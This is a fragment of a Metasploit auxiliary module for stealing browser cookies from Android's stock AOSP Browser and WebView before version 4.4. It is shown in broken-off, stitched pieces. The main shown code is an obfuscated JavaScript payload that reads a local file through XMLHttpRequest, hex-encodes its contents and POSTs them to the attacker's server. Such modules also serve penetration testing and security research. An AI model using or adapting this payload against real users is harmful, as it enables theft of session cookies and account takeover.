## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report include Msf::Exploit::JSObfu def initialize(info={}) super(update_info(info, 'Name' => 'Android Browser "Open in New Tab" Cookie Theft', 'Description' => %q{ In Android's stock AOSP Browser application and WebView component, the "open in new tab" functionality allows a file URL to be opened. On versions of Android before 4.4, the path to the sqlite cookie database could be specified. By saving a cookie containing a | end def exfiltration_js js_obfuscate %Q| var x = new XMLHttpRequest(); x.open('GET', ''); x.responseType = 'arraybuffer'; x.onreadystatechange = function(){ if (x.readyState == 4) { var buff = new Uint8Array(x.response); var hex = Array.prototype.map.call(buff, function(d){ var c = d.toString(16); return (c.length < 2) ? '0'+c : c; }).join(''); var x2 = new XMLHttpRequest(); x2.open('POST', '#{get_uri}/'); x2.setRequestHeader('Content-type', 'text/plain'); x2.send(hex); } }; x.send(); | end def inline_script %Q| document.cookie='#{per_run_token}=